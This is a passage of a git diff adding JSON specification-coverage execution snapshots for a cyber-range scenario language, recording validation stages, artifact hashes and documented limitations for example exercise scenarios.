"directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "ddcf7d5310b4f6643e653a849f49187b882483150bad41493ad93c638cfeaeb7", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "5a27990cc5f57cae913af6178ee33ff1bfb1af1f3eba4e98ab16aac7021890be", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "04b807cb977006b6ae420958db1df21d911b9635b262d9d5c26d4f2023675b73", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "229a97ef226cf4bd6dd10495b4d45ecb302af558", + "snapshot_id": "raes-standardized-specification-coverage-issue-1189-v35", + "snapshot_revision": "35.0.0", + "source_state": { + "base_revision": "229a97ef226cf4bd6dd10495b4d45ecb302af558", + "checkout_state": "modified", + "implementation_digest": "84115497702466500afbac9d21a9a6beb68b712aa4b1df558e247dbf4dd7faad", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v36.json b/docs/research/specification-coverage/execution-snapshot-v36.json new file mode 100644 index 000000000..ac5af80b7 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v36.json @@ -0,0 +1,698 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-20T08:01:56.690926+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": 